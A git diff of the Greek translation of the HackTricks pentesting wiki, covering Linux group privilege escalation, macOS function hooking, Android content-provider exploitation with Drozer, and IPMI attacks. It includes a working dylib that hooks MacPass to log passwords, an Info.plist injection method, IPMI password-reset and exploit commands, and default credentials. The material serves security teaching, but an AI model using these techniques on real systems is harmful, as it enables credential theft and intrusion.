μπορείτε να χρησιμοποιήσετε το **GIMP**, να επιλέξετε το αρχείο **`screen.raw`** και να επιλέξετε ως τύπο αρχείου **Raw image data**: - -![](../../images/image%20%28208%29.png) - -Στη συνέχεια, τροποποιήστε το Πλάτος και το Ύψος στις διαστάσεις που χρησιμοποιούνται στην οθόνη και ελέγξτε διαφορετικούς Τύπους Εικόνας \(και επιλέξτε αυτόν που δείχνει καλύτερα την οθόνη\): - -![](../../images/image%20%28295%29.png) - -# Root Group - -Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για **τροποποίηση** ορισμένων αρχείων ρυθμίσεων **υπηρεσιών** ή ορισμένων αρχείων **βιβλιοθηκών** ή **άλλων ενδιαφέροντων πραγμάτων** που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων... - -**Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root**: -```bash -find / -group root -perm -g=w 2>/dev/null -``` -# Docker Group - -Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής-οικοδεσπότη σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. - -{{#ref}} -https://github.com/KrustyHack/docker-privilege-escalation -{{#endref}} - -{{#ref}} -https://fosterelli.co/privilege-escalation-via-docker.html -{{#endref}} - -# lxc/lxd Group - -[lxc - Privilege Escalation](lxd-privilege-escalation.md) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md deleted file mode 100644 index b9cb80787..000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ /dev/null @@ -1,338 +0,0 @@ -# macOS Function Hooking - -{{#include ../../../banners/hacktricks-training.md}} - -## Function Interposing - -Δημιουργήστε ένα **dylib** με μια ενότητα **`__interpose`** (ή μια ενότητα με σημαία **`S_INTERPOSING`**) που περιέχει ζεύγη **δείκτες συναρτήσεων** που αναφέρονται στις **αρχικές** και **αντικαταστάσιμες** συναρτήσεις. - -Στη συνέχεια, **εισάγετε** το dylib με **`DYLD_INSERT_LIBRARIES`** (η διαμεσολάβηση πρέπει να συμβαίνει πριν φορτωθεί η κύρια εφαρμογή). Προφανώς, οι [**περιορισμοί** που ισχύουν για τη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). - -### Interpose printf - -{{#tabs}} -{{#tab name="interpose.c"}} -```c:interpose.c -// gcc -dynamiclib interpose.c -o interpose.dylib -#include -#include - -int my_printf(const char *format, ...) { -//va_list args; -//va_start(args, format); -//int ret = vprintf(format, args); -//va_end(args); - -int ret = printf("Hello from interpose\n"); -return ret; -} - -__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf -__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; -``` -{{#endtab}} - -{{#tab name="hello.c"}} -```c -//gcc hello.c -o hello -#include - -int main() { -printf("Hello World!\n"); -return 0; -} -``` -{{#endtab}} - -{{#tab name="interpose2.c"}} -```c -// Just another way to define an interpose -// gcc -dynamiclib interpose2.c -o interpose2.dylib - -#include - -#define DYLD_INTERPOSE(_replacement, _replacee) \ -__attribute__((used)) static struct { \ -const void* replacement; \ -const void* replacee; \ -} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ -(const void*) (unsigned long) &_replacement, \ -(const void*) (unsigned long) &_replacee \ -}; - -int my_printf(const char *format, ...) -{ -int ret = printf("Hello from interpose\n"); -return ret; -} - -DYLD_INTERPOSE(my_printf,printf); -``` -{{#endtab}} -{{#endtabs}} -```bash -DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello -Hello from interpose - -DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello -Hello from interpose -``` -## Method Swizzling - -Στην ObjectiveC, έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** - -Απαιτείται το **αντικείμενο**, η **μέθοδος** και οι **παράμετροι**. Και όταν καλείται μια μέθοδος, ένα **msg αποστέλλεται** χρησιμοποιώντας τη συνάρτηση **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` - -Το αντικείμενο είναι **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και τα επιχειρήματα είναι **value1**, **value2**. - -Ακολουθώντας τις δομές αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονομασίες** και οι **δείκτες** στον κώδικα της μεθόδου είναι **τοποθετημένοι**. - -> [!CAUTION] -> Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελάζονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, επομένως είναι δυνατή η ανάκτησή τους με `otool -ov
` ή [`class-dump
`](https://github.com/nygard/class-dump) - -### Accessing the raw methods - -Είναι δυνατή η πρόσβαση στις πληροφορίες των μεθόδων όπως το όνομα, ο αριθμός παραμέτρων ή η διεύθυνση όπως στο παρακάτω παράδειγμα: -```objectivec -// gcc -framework Foundation test.m -o test - -#import -#import -#import - -int main() { -// Get class of the variable -NSString* str = @"This is an example"; -Class strClass = [str class]; -NSLog(@"str's Class name: %s", class_getName(strClass)); - -// Get parent class of a class -Class strSuper = class_getSuperclass(strClass); -NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - -// Get information about a method -SEL sel = @selector(length); -NSLog(@"Selector name: %@", NSStringFromSelector(sel)); -Method m = class_getInstanceMethod(strClass,sel); -NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); -NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - -// Iterate through the class hierarchy -NSLog(@"Listing methods:"); -Class currentClass = strClass; -while (currentClass != NULL) { -unsigned int inheritedMethodCount = 0; -Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - -NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - -for (unsigned int i = 0; i < inheritedMethodCount; i++) { -Method method = inheritedMethods[i]; -SEL selector = method_getName(method); -const char* methodName = sel_getName(selector); -unsigned long address = (unsigned long)method_getImplementation(m); -NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); -} - -// Free the memory allocated by class_copyMethodList -free(inheritedMethods); -currentClass = class_getSuperclass(currentClass); -} - -// Other ways to call uppercaseString method -if([str respondsToSelector:@selector(uppercaseString)]) { -NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; -NSLog(@"Uppercase string: %@", uppercaseString); -} - -// Using objc_msgSend directly -NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); -NSLog(@"Uppercase string: %@", uppercaseString2); - -// Calling the address directly -IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address -NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp -NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method -NSLog(@"Uppercase string: %@", uppercaseString3); - -return 0; -} -``` -### Μέθοδος Swizzling με method_exchangeImplementations - -Η συνάρτηση **`method_exchangeImplementations`** επιτρέπει να **αλλάξει** η **διεύθυνση** της **υλοποίησης** **μιας συνάρτησης με την άλλη**. - -> [!CAUTION] -> Έτσι, όταν καλείται μια συνάρτηση, αυτό που **εκτελείται είναι η άλλη**. -```objectivec -//gcc -framework Foundation swizzle_str.m -o swizzle_str - -#import -#import - - -// Create a new category for NSString with the method to execute -@interface NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original method -return [self swizzledSubstringFromIndex:from]; -} - -@end - -int main(int argc, const char * argv[]) { -// Perform method swizzling -Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); -Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); -method_exchangeImplementations(originalMethod, swizzledMethod); - -// We changed the address of one method for the other -// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex -// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -return 0; -} -``` -> [!WARNING] -> Σε αυτή την περίπτωση, αν ο **κωδικός υλοποίησης της νόμιμης** μεθόδου **επαληθεύει** το **όνομα** της **μεθόδου**, θα μπορούσε να **ανιχνεύσει** αυτή τη swizzling και να την αποτρέψει από το να εκτελεστεί. -> -> Η παρακάτω τεχνική δεν έχει αυτόν τον περιορισμό. - -### Method Swizzling with method_setImplementation - -Η προηγούμενη μορφή είναι περίεργη γιατί αλλάζετε την υλοποίηση 2 μεθόδων η μία από την άλλη. Χρησιμοποιώντας τη συνάρτηση **`method_setImplementation`** μπορείτε να **αλλάξετε** την **υλοποίηση** μιας **μεθόδου για την άλλη**. - -Απλά θυμηθείτε να **αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής** αν σκοπεύετε να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, γιατί αργότερα θα είναι πολύ πιο δύσκολο να εντοπίσετε αυτή τη διεύθυνση. -```objectivec -#import -#import -#import - -static IMP original_substringFromIndex = NULL; - -@interface NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original implementation using objc_msgSendSuper -return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); -} - -@end - -int main(int argc, const char * argv[]) { -@autoreleasepool { -// Get the class of the target method -Class stringClass = [NSString class]; - -// Get the swizzled and original methods -Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - -// Get the function pointer to the swizzled method's implementation -IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - -// Swap the implementations -// It return the now overwritten implementation of the original method to store it -original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -// Set the original implementation back -method_setImplementation(originalMethod, original_substringFromIndex); - -return 0; -} -} -``` -## Hooking Attack Methodology - -Σε αυτή τη σελίδα συζητήθηκαν διάφοροι τρόποι για να γίνει hook σε συναρτήσεις. Ωστόσο, περιλάμβαναν **την εκτέλεση κώδικα μέσα στη διαδικασία για επίθεση**. - -Για να το κάνετε αυτό, η πιο εύκολη τεχνική που μπορείτε να χρησιμοποιήσετε είναι να εισάγετε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω [Dylib process injection](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port). - -Ωστόσο, και οι δύο επιλογές είναι **περιορισμένες** σε **μη προστατευμένα** δυαδικά αρχεία/διαδικασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα σχετικά με τους περιορισμούς. - -Ωστόσο, μια επίθεση hooking function είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία** (αν όχι, θα κάνατε απλώς μια επίθεση injection διαδικασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass. - -Έτσι, το vector του επιτιθέμενου θα ήταν είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, εισάγοντας τη μεταβλητή περιβάλλοντος **`DYLD_INSERT_LIBRARIES`** μέσω του Info.plist της εφαρμογής προσθέτοντας κάτι όπως: -```xml -LSEnvironment - -DYLD_INSERT_LIBRARIES -/Applications/Application.app/Contents/malicious.dylib - -``` -και στη συνέχεια **επανακαταχωρήστε** την εφαρμογή: -```bash -/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app -``` -Προσθέστε σε αυτή τη βιβλιοθήκη τον κώδικα hooking για να εξάγετε τις πληροφορίες: Κωδικούς πρόσβασης, μηνύματα... - -> [!CAUTION] -> Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν **αφαιρέσετε την υπογραφή** του δυαδικού αρχείου της εφαρμογής και αυτή είχε εκτελεστεί προηγουμένως, το macOS **δεν θα εκτελεί την εφαρμογή** πια. - -#### Παράδειγμα βιβλιοθήκης -```objectivec -// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib - -// If you added env vars in the Info.plist don't forget to call lsregister as explained before - -// Listen to the logs with something like: -// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' - -#include -#import - -// Here will be stored the real method (setPassword in this case) address -static IMP real_setPassword = NULL; - -static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) -{ -// Function that will log the password and call the original setPassword(pass, file_path) method -NSLog(@"[+] Password is: %@", password); - -// After logging the password call the original method so nothing breaks. -return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); -} - -// Library constructor to execute -__attribute__((constructor)) -static void customConstructor(int argc, const char **argv) { -// Get the real method address to not lose it -Class classMPDocument = NSClassFromString(@"MPDocument"); -Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - -// Make the original method setPassword call the fake implementation one -IMP fake_IMP = (IMP)custom_setPassword; -real_setPassword = method_setImplementation(real_Method, fake_IMP); -} -``` -## Αναφορές - -- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/misc/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - -{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 21a43fc16..12a0e6771 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -1,14 +1,12 @@ -# Εκμετάλλευση Παρόχων Περιεχομένου - -## Εκμετάλλευση Παρόχων Περιεχομένου +# Exploiting Content Providers {{#include ../../../banners/hacktricks-training.md}} -## Εισαγωγή +## Intro -Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που ονομάζεται **παροχέας περιεχομένου**. Αυτές οι αιτήσεις διαχειρίζονται μέσω των μεθόδων της **κλάσης ContentResolver**. Οι πάροχοι περιεχομένου μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία** ή μέσω ενός **δικτύου**. +Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που είναι γνωστό ως **content provider**. Αυτά τα αιτήματα διαχειρίζονται μέσω των μεθόδων της **ContentResolver class**. Οι content providers μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία**, ή μέσω ενός **δικτύου**. -Στο αρχείο _Manifest.xml_, η δήλωση του παρόχου περιεχομένου είναι απαραίτητη. Για παράδειγμα: +Στο αρχείο _Manifest.xml_, η δήλωση του content provider είναι απαραίτητη. Για παράδειγμα: ```xml @@ -40,7 +38,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` -Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον **DBContentProvider** ξεκινώντας τα URIs με “_content://_”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου κρίσιμες πληροφορίες βρίσκονταν στον _/Keys_ φάκελο. +Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον **DBContentProvider** ξεκινώντας τα URIs με “_content://_”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου κρίσιμες πληροφορίες βρίσκονταν στον _/Keys_ κατάλογο. Ο Drozer μπορεί να **μαντέψει και να δοκιμάσει αρκετά URIs**: ``` @@ -162,12 +160,12 @@ dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc ``` ### **Path Traversal** -Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε ένα Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε "_../_" και παρόμοια κόλπα). +Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το "_../_" και παρόμοια κόλπα). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` -**Αυτόματη ανακάλυψη διαδρομών Traversal από το Drozer** +**Αυτόματη ανακάλυψη διαδρομής Traversal από το Drozer** ``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 10a5d4564..ac87276b4 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -1,7 +1,5 @@ # 623/UDP/TCP - IPMI -## 623/UDP/TCP - IPMI - {{#include ../banners/hacktricks-training.md}} @@ -17,7 +15,7 @@ Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, καθώς και να παρέχει πληροφορίες αποθέματος, να αναθεωρεί αρχεία υλικού και να στέλνει ειδοποιήσεις μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή τροφοδοσίας και μια σύνδεση LAN. -Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια στοιχεία περιλαμβάνουν: +Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια συστατικά περιλαμβάνουν: - **Baseboard Management Controller (BMC):** Ο κύριος μικροελεγκτής για τις λειτουργίες IPMI. - **Communication Buses and Interfaces:** Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις. @@ -69,15 +67,15 @@ msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` -### **Supermicro IPMI Κωδικοί πρόσβασης σε καθαρό κείμενο** +### **Supermicro IPMI Clear-text Passwords** -Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς ασφαλείας: +Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς σχετικά με την ασφάλεια: ```bash cat /nv/PSBlock ``` ### **Ευπάθεια UPnP IPMI Supermicro** -Η συμπερίληψη ενός ακροατή UPnP SSDP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφάλειας. Οι ευπάθειες στο Intel SDK για UPnP Devices έκδοσης 1.3.1, όπως αναφέρεται στην [αποκάλυψη της Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), επιτρέπουν την πρόσβαση root στο BMC: +Η συμπερίληψη ενός ακροατή UPnP SSDP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφάλειας. Οι ευπάθειες στο Intel SDK για UPnP Devices έκδοσης 1.3.1, όπως αναφέρεται στην [αποκάλυψη της Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), επιτρέπουν πρόσβαση root στο BMC: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` @@ -85,17 +83,17 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow **Η HP τυχαία επιλέγει τον προεπιλεγμένο κωδικό πρόσβασης** για το προϊόν **Integrated Lights Out (iLO)** κατά την κατασκευή. Αυτή η πρακτική αντιτίθεται σε άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν **στατικά προεπιλεγμένα διαπιστευτήρια**. Μια σύνοψη των προεπιλεγμένων ονομάτων χρηστών και κωδικών πρόσβασης για διάφορα προϊόντα παρέχεται ως εξής: -- **HP Integrated Lights Out (iLO)** χρησιμοποιεί μια **εργοστασιακά τυχαία 8-χαρακτήρων αλφαριθμητική συμβολοσειρά** ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας. +- **HP Integrated Lights Out (iLO)** χρησιμοποιεί μια **εργοστασιακά τυχαία επιλεγμένη αλφαριθμητική συμβολοσειρά 8 χαρακτήρων** ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας. - Προϊόντα όπως **iDRAC της Dell, IMM της IBM** και **Integrated Remote Management Controller της Fujitsu** χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν) και "admin" αντίστοιχα. - Ομοίως, **Supermicro IPMI (2.0), Oracle/Sun ILOM** και **ASUS iKVM BMC** χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους. ## Accessing the Host via BMC -Η διαχειριστική πρόσβαση στον Controller Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το τσιπ Super I/O, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα. +Η διαχειριστική πρόσβαση στον Controller Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειραγώγηση του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω του `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το τσιπ Super I/O, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα. ## Introducing Backdoors into BMC from the Host -Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η **τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός backdoor λογαριασμού χρήστη**, δημιουργώντας μια διαρκή παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του **`ipmitool`** στον παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγού BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS. +Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η **τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός λογαριασμού backdoor**, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του **`ipmitool`** στον 